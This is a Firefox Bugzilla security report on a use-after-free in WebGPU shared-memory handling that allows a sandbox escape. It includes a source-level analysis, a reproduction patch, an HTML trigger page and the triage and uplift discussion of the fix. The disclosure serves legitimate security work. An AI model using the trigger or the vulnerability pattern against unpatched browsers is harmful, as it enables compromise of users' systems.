Shared memory UAF in webgpu command (Sandbox escape)
Categories
(Core :: Graphics: WebGPU, defect, P1)
Tracking
()
| Tracking | Status | |
|---|---|---|
| firefox-esr115 | --- | unaffected |
| firefox-esr140 | --- | unaffected |
| firefox143 | --- | wontfix |
| firefox144 | + | fixed |
| firefox145 | + | fixed |
| firefox146 | + | fixed |
People
(Reporter: oskarlindberg348, Assigned: teoxoy)
References
(Depends on 1 open bug, Regression)
Details
(5 keywords, Whiteboard: [client-bounty-form][adv-main144.0.2+])
Attachments
(5 files)
|
49.17 KB,
image/png
|
Details | |
|
48 bytes,
text/x-phabricator-request
|
tjr
:
sec-approval+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-beta+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-release+
|
Details | Review |
|
320 bytes,
text/plain
|
Details |
writeup follows
Background
In webgpu we can send commands which are serialized/deserialized in rust.
those command pass through a C++ actor which uses the regular IPC in firefox.
It part of the WebGPU actor, which is used for drawing via webgpu API.
Vulnerability
When we the read messages from the C++ actor onto rust in ipc::IPCResult WebGPUParent::RecvMessages, we create two correlated arrays:
mTempMappings - temporary memory mappings, owner of the mappings.
shmem_mappings - array of slices (Views) onto the mappings.
for (const auto& shmem : aShmems) {
auto mapping = shmem.Map();
auto* ptr = mapping.DataAs<uint8_t>();
auto len = mapping.Size();
ffi::WGPUFfiSlice_u8 byte_slice{ptr, len};
shmem_mappings.AppendElement(std::move(byte_slice));
// `aShmem` may be an invalid handle, however this will simply result in an
// invalid mapping with 0 size, which we use safely.
mTempMappings.AppendElement(Some(std::move(mapping)));
}
after every IPC, we clean the temporary mappings:
mTempMappings.SetCapacity(aShmems.Length());
...
ffi::wgpu_server_messages(mContext.get(), nrOfMessages,
ToFFI(&aSerializedMessages), data_buffers,
shmem_mapping_slices);
mTempMappings.Clear();
The temporary mapping can be moved to a longer lived array, by creating a new buffer, and mapping the shared memory on it:
DeviceAction::CreateBuffer {
buffer_id,
desc,
shmem_handle_index,
} => {
let has_map_flags = desc
.usage
.intersects(wgt::BufferUsages::MAP_READ | wgt::BufferUsages::MAP_WRITE);
let needs_shmem = has_map_flags || desc.mapped_at_creation;
let shmem_data =
unsafe { shmem_mappings.as_slice()[shmem_handle_index].as_slice() };
let shmem_size = shmem_data.len();
// If we requested a non-zero mappable buffer and get a size of zero, it
// indicates that the shmem allocation failed on the client side or
// mapping failed in the parent process.
let shmem_allocation_failed = needs_shmem && (shmem_size as u64) < desc.size;
if shmem_allocation_failed {
assert_eq!(shmem_size, 0);
}
// Don't trust the graphics driver with buffer sizes larger than our conservative max buffer size.
if shmem_allocation_failed || desc.size > MAX_BUFFER_SIZE {
error_buf.init(ErrMsg::oom(), device_id);
self.create_buffer_error(Some(buffer_id), &desc);
return;
}
if needs_shmem {
unsafe {
wgpu_server_set_buffer_map_data(
self.owner,
device_id,
buffer_id,
has_map_flags,
0,
if desc.mapped_at_creation {
desc.size
} else {
0
},
shmem_handle_index,
);
}
}
let (_, error) = self.device_create_buffer(device_id, &desc, Some(buffer_id));
if let Some(err) = error {
error_buf.init(err, device_id);
}
}
which will call:
extern void wgpu_server_set_buffer_map_data(
WGPUWebGPUParentPtr aParent, WGPUDeviceId aDeviceId, WGPUBufferId aBufferId,
bool aHasMapFlags, uint64_t aMappedOffset, uint64_t aMappedSize,
uintptr_t aShmemIndex) {
auto* parent = static_cast<WebGPUParent*>(aParent);
auto mapping = std::move(parent->mTempMappings.ElementAt(aShmemIndex));
MOZ_ASSERT(mapping.isSome());
auto data = WebGPUParent::BufferMapData{
std::move(*mapping), aHasMapFlags, aMappedOffset, aMappedSize, aDeviceId,
};
parent->mSharedMemoryMap.insert({aBufferId, std::move(data)});
}
As we can see this inserts into the mSharedMemoryMap map in the WebGPUParent class.
however, shmem_mappings does not take into account changes in the state of the mapping.
so if we destroy an handle by:
- Create a buffer and map a shared memory onto it.
- destroy the buffer, which will call
Message::DestroyBuffer(id) => {
wgpu_server_dealloc_buffer_shmem(global.owner, id);
global.buffer_destroy(id)
}
calling wgpu_server_dealloc_buffer_shmem destroys the handle, leaving dangling mappings.
Now, since, shared memory can also be used for buffer/texture writing through the queue:
Message::QueueWrite {
device_id,
queue_id,
data_source,
action,
} => {
let data = match data_source { // [1]
QueueWriteDataSource::DataBuffer(data_buffer_index) => {
data_buffers[data_buffer_index].as_slice()
}
QueueWriteDataSource::Shmem(shmem_handle_index) => {
shmem_mappings.as_slice()[shmem_handle_index].as_slice() // [2]
}
};
let result = match action { // [3]
QueueWriteAction::Buffer { dst, offset } => {
global.queue_write_buffer(queue_id, dst, offset, data)
}
QueueWriteAction::Texture { dst, layout, size } => {
global.queue_write_texture(queue_id, &dst, data, &layout, &size)
}
};
if let Err(err) = result {
error_buf.init(err, device_id);
}
}
- Matching the data source.
- Getting matched as shmem, we select a shared memory mapping by the index specified by the command
- doing the action with the source data.
This will cause a UAF on shared memory which we unmapped.
Reproduction
- Apply the following patch:
diff --git a/dom/webgpu/Buffer.cpp b/dom/webgpu/Buffer.cpp
index 0c3a72ee6fa0..be0badc1ed47 100644
--- a/dom/webgpu/Buffer.cpp
+++ b/dom/webgpu/Buffer.cpp
@@ -6,6 +6,7 @@
#include "Buffer.h"
#include "Device.h"
+#include "Queue.h"
#include "ipc/WebGPUChild.h"
#include "js/ArrayBuffer.h"
#include "js/RootingAPI.h"
@@ -125,6 +126,23 @@ already_AddRefed<Buffer> Buffer::Create(Device* aDevice, RawId aDeviceId,
RawId bufferId = ffi::wgpu_client_create_buffer(child->GetClient(), aDeviceId,
&desc, shmem_handle_index);
+ ffi::wgpu_client_drop_buffer(child->GetClient(), bufferId);
+
+ // Oskar, now we'll create a second buffer, that is created with a new handle,
+ ipc::MutableSharedMemoryHandle handle2 =
+ ipc::shared_memory::Create(desc.size);
+ ipc::SharedMemoryMapping mapping2 = handle2.Map();
+ auto shmem_handle_index2 = child->QueueShmemHandle(std::move(handle2));
+
+ RawId bufferId2 = ffi::wgpu_client_create_buffer(
+ child->GetClient(), aDeviceId, &desc, shmem_handle_index2);
+
+ ffi::wgpu_queue_write_buffer_via_shmem(
+ child->GetClient(), aDeviceId, aDevice->GetQueue().get()->GetId(),
+ bufferId2, 0,
+ shmem_handle_index); // Writing to buffer using the removed buffer's
+ // shmem index, which is unmapped by now.
+
RefPtr<Buffer> buffer = new Buffer(aDevice, bufferId, aDesc.mSize,
aDesc.mUsage, std::move(mapping));
buffer->SetLabel(aDesc.mLabel);
diff --git a/gfx/wgpu_bindings/src/client.rs b/gfx/wgpu_bindings/src/client.rs
index 5e93812ea6d4..ea0e1fac13f0 100644
--- a/gfx/wgpu_bindings/src/client.rs
+++ b/gfx/wgpu_bindings/src/client.rs
@@ -376,7 +376,7 @@ impl MessageQueue {
// some messages that can have arbitrary size (ex. `CreateShaderModule`) most
// have a static size.
// If we ever violate the limits, the worst that can happen is that we trigger asserts.
- if self.nr_of_queued_messages >= 4 * 1024 {
+ if self.nr_of_queued_messages >= 4 { // Oskar - only needed 4
let (nr_of_messages, serialized_messages) = self.flush();
let serialized_messages = ByteBuf::from_vec(serialized_messages);
unsafe { wgpu_child_send_messages(child, nr_of_messages, serialized_messages) };
- Host the html trigger file:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>WebGPU Single Mapped Buffer Write</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
.container { max-width: 600px; }
pre { background-color: #f0f4f8; border: 1px solid #cbd5e1; border-left-width: 4px; border-left-color: #4f46e5; }
</style>
</head>
<body class="bg-gray-100 min-h-screen flex items-center justify-center p-4">
<div class="container bg-white p-6 rounded-xl shadow-2xl space-y-6">
<h1 class="text-3xl font-extrabold text-indigo-700">WebGPU Buffer Initialization</h1>
<p class="text-gray-600">This script initializes a single WebGPU buffer and writes data to it using the **<code>mappedAtCreation: true</code>** flag.</p>
<div id="status-card" class="p-4 rounded-lg text-sm transition-all duration-300">
<p id="status-message" class="font-semibold text-gray-800">Initializing WebGPU...</p>
</div>
<div class="space-y-2">
<h2 class="text-xl font-bold text-gray-700">Input Data (CPU)</h2>
<pre id="input-data-display" class="p-3 rounded-lg"></pre>
</div>
<div class="space-y-2">
<h2 class="text-xl font-bold text-gray-700">Buffer Status</h2>
<p id="buffer-status" class="p-3 bg-green-100 text-green-800 rounded-lg text-sm font-mono">Buffer state: Uninitialized</p>
</div>
</div>
<script type="module">
// Constants
const BUFFER_SIZE = 4 * Float32Array.BYTES_PER_ELEMENT; // 16 bytes for 4 floats
const INPUT_ARRAY = new Float32Array([12.3, 45.6, 78.9, 10.1]);
// DOM elements
const statusCard = document.getElementById('status-card');
const statusMessage = document.getElementById('status-message');
const inputDataDisplay = document.getElementById('input-data-display');
const bufferStatus = document.getElementById('buffer-status');
// Helper function to update status
function updateStatus(message, isSuccess = true) {
statusMessage.textContent = message;
if (isSuccess) {
statusCard.className = 'p-4 rounded-lg text-sm bg-indigo-100 text-indigo-700 transition-all duration-300';
} else {
statusCard.className = 'p-4 rounded-lg text-sm bg-red-100 text-red-700 transition-all duration-300';
}
}
async function initializeWebGPU() {
try {
// Check for WebGPU support
if (!navigator.gpu) {
throw new Error("WebGPU is not supported on this browser.");
}
const adapter = await navigator.gpu.requestAdapter();
if (!adapter) {
throw new Error("No WebGPU adapter found.");
}
const device = await adapter.requestDevice();
// Display input data
inputDataDisplay.textContent = `new Float32Array([${INPUT_ARRAY.join(', ')}])`;
updateStatus("WebGPU device connected. Creating and mapping buffer...", true);
bufferStatus.textContent = "Buffer state: Creating and Mapping...";
// ----------------------------------------------------------------
// 1. Create the buffer and map it at creation
// When mappedAtCreation is true, the buffer is immediately CPU-owned (mapped).
// The usage flag MAP_WRITE is required, and COPY_SRC is added so the
// GPU can read this data later (standard practice for staging buffers).
// ----------------------------------------------------------------
const myMappedBuffer = device.createBuffer({
label: "My Initial Write Buffer",
size: BUFFER_SIZE,
usage: GPUBufferUsage.MAP_WRITE | GPUBufferUsage.COPY_SRC,
mappedAtCreation: true,
});
// bufferStatus.textContent = "Buffer state: MAPPED (CPU-owned)";
// updateStatus("Buffer created and mapped at creation.", true);
// // ----------------------------------------------------------------
// // 2. Write data to the buffer memory
// // getMappedRange() returns the underlying ArrayBuffer accessible by JavaScript.
// // ----------------------------------------------------------------
// const mappedRange = myMappedBuffer.getMappedRange();
// // Use a Float32Array view to safely write the data
// new Float32Array(mappedRange).set(INPUT_ARRAY);
// updateStatus("Data successfully written to the mapped buffer memory.", true);
// // ----------------------------------------------------------------
// // 3. Unmap the buffer
// // The buffer must be unmapped so that the GPU can access the written data.
// // ----------------------------------------------------------------
// // myMappedBuffer.unmap();
// bufferStatus.textContent = "Buffer state: UNMAPPED (GPU-owned, ready for use)";
// updateStatus("Initialization complete! Buffer is unmapped and ready for GPU processing.", true);
// The buffer now holds the data and can be used in compute or render pipelines.
} catch (error) {
const errorMessage = `WebGPU Error: ${error.message}`;
updateStatus(errorMessage, false);
bufferStatus.textContent = "Buffer state: Failed";
console.error(errorMessage, error);
}
}
initializeWebGPU();
// Run the main function when the window loads
// window.onload = initializeWebGPU;
</script>
</body>
</html>
Windbg stack trace
Attached is an image of the UAF which happen when we memcpy in the write_buffer operation.
Implications
This is firefox latest and cross-platform.
As of right now, it's the same as other CanavsManager derived bugs, and can be handled by browser on all platforms.
Updated•11 months ago
|
Updated•11 months ago
|
Updated•11 months ago
|
Comment 3•11 months ago
|
||
Marking s2 instead of s1 since s1 is for when we have already decided that the patch needs a chemspill.
| Assignee | ||
Updated•11 months ago
|
| Assignee | ||
Comment 4•11 months ago
|
||
This was introduced by Bug 1968122, affected versions are 142, 143 and 144; possibly 145 depending when the patch lands.
| Assignee | ||
Comment 5•11 months ago
|
||
| Assignee | ||
Updated•11 months ago
|
Comment 6•11 months ago
|
||
Set release status flags based on info from the regressing bug 1968122
| Assignee | ||
Comment 7•11 months ago
|
||
Comment on attachment 9519229 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: Unsure but it would need a compromised content process.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: beta,release
- If not all supported branches, which bug introduced the flaw?: Bug 1968122
- Do you have backports for the affected branches?: No
- If not, how different, hard to create, and risky will they be?: The patch would be the same.
- How likely is this patch to cause regressions; how much testing does it need?: Unlikely
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: No
Updated•11 months ago
|
Updated•11 months ago
|
Comment 8•11 months ago
|
||
Comment on attachment 9519229 [details]
(secure)
Beta/Release Uplift Approval Request
- User impact if declined/Reason for urgency: sec-high vulnerabiliity
- Is this code covered by automated tests?: Yes
- Has the fix been verified in Nightly?: Yes
- Needs manual test from QE?: No
- If yes, steps to reproduce:
- List of other uplifts needed: None
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky): The fix uses C++
stdshared pointers to extend the lifetimes of some shmem mappings used by WebGPUParent. The patch is relatively localized, and shouldn't result in a healthy Firefox process holding the mappings alive for very long; they are always freed when we finish processing the PWebGPU::Messages IPDL message. - String changes made/needed: none
- Is Android affected?: No
| Assignee | ||
Comment 9•11 months ago
|
||
Is it accurate that this bug is marked as csectype-sandbox-escape? The issue mentioned is a UAF but it requires a compromised content process to be used (which the description of the bug doesn't outline).
Comment 10•11 months ago
|
||
Comment on attachment 9519229 [details]
(secure)
Is it accurate that this bug is marked as csectype-sandbox-escape? The issue mentioned is a UAF but it requires a compromised content process to be used (which the description of the bug doesn't outline).
Yes, sandbox escapes are when a compromised content process can exploit a more privileged process to escape the sandbox.
Approved to land and request uplift
Updated•11 months ago
|
Comment 11•11 months ago
|
||
Comment 12•11 months ago
|
||
Comment 13•11 months ago
|
||
Backed out for causing build bustages @ nsTArray.h
| Assignee | ||
Updated•11 months ago
|
Comment 14•11 months ago
|
||
Ugh. Do we need to use MOZ_DECLARE_RELOCATE_USING_MOVE_CONSTRUCTOR here?
//
// Normally elements are copied with memcpy and memmove, but for some element
// types that is problematic. The nsTArray_RelocationStrategy template class
// can be specialized to ensure that copying calls constructors and destructors
// instead, as is done below for JS::Heap<E> elements.
//
Comment 15•11 months ago
|
||
Comment 16•11 months ago
|
||
Updated•11 months ago
|
Updated•11 months ago
|
Comment 17•11 months ago
•
|
||
:jimb, did you mean to clear the uplift request flags?
Comment 18•11 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined: sec-high vulnerabiliity
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: The fix uses C++ std shared pointers to extend the lifetimes of some shmem mappings used by WebGPUParent. The patch is relatively localized, and shouldn't result in a healthy Firefox process holding the mappings alive for very long; they are always freed when we finish processing the
PWebGPU::MessagesIPDL message. - String changes made/needed: none
- Is Android affected?: no
| Assignee | ||
Comment 19•11 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D268125
Comment 20•11 months ago
|
||
firefox-release Uplift Approval Request
- User impact if declined: sec-high vulnerabiliity
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: The fix uses C++ std shared pointers to extend the lifetimes of some shmem mappings used by WebGPUParent. The patch is relatively localized, and shouldn't result in a healthy Firefox process holding the mappings alive for very long; they are always freed when we finish processing the
PWebGPU::MessagesIPDL message. - String changes made/needed: none
- Is Android affected?: no
| Assignee | ||
Comment 21•11 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D268125
Updated•11 months ago
|
Updated•11 months ago
|
Updated•11 months ago
|
Comment 22•11 months ago
|
||
| uplift | ||
Updated•11 months ago
|
Updated•11 months ago
|
Updated•11 months ago
|
Updated•11 months ago
|
Comment 23•11 months ago
|
||
| uplift | ||
Updated•11 months ago
|
Comment 24•11 months ago
|
||
Updated•11 months ago
|
Updated•5 months ago
|
Description
•